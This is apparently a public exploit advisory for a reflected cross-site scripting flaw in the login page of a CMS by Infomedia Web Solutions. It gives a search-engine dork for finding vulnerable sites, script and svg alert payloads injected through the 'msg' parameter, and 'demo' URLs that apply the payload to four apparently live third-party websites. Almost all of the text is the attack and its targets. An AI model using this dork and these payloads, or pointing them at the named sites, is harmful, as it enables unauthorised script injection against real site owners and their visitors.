# Exploit Title : Infomedia Web Solutions - Cross Site Scripting # Author : Xmall75 # Vendor Homepage : infomediawebsolutions.com # Date : 6 June 2020 # Tested on : Windows # Dork : intext:"Developed by: Infomedia Web Solutions" inurl:/cms/login.php?msg= # Payload : <script>alert("Xmall75");</script> <svg onload=alert("Xmall75")> and other payloads. # XSS : site.com/cms/login.php?msg=[your payload here] # Demo : www.inclusivefinanceindia.org/cms/login.php?msg=<script>alert("Xmall75");</script> www.surekhasadana.com/cms/login.php?msg=<script>alert("Xmall75");</script> selflesslyyours.org/http:/cms/login.php?msg=<script>alert("Xmall75");</script> www.dailypioneer.com/cms/login.php?msg=<script>alert("Xmall75");</script> # xmall75.id@gmail.com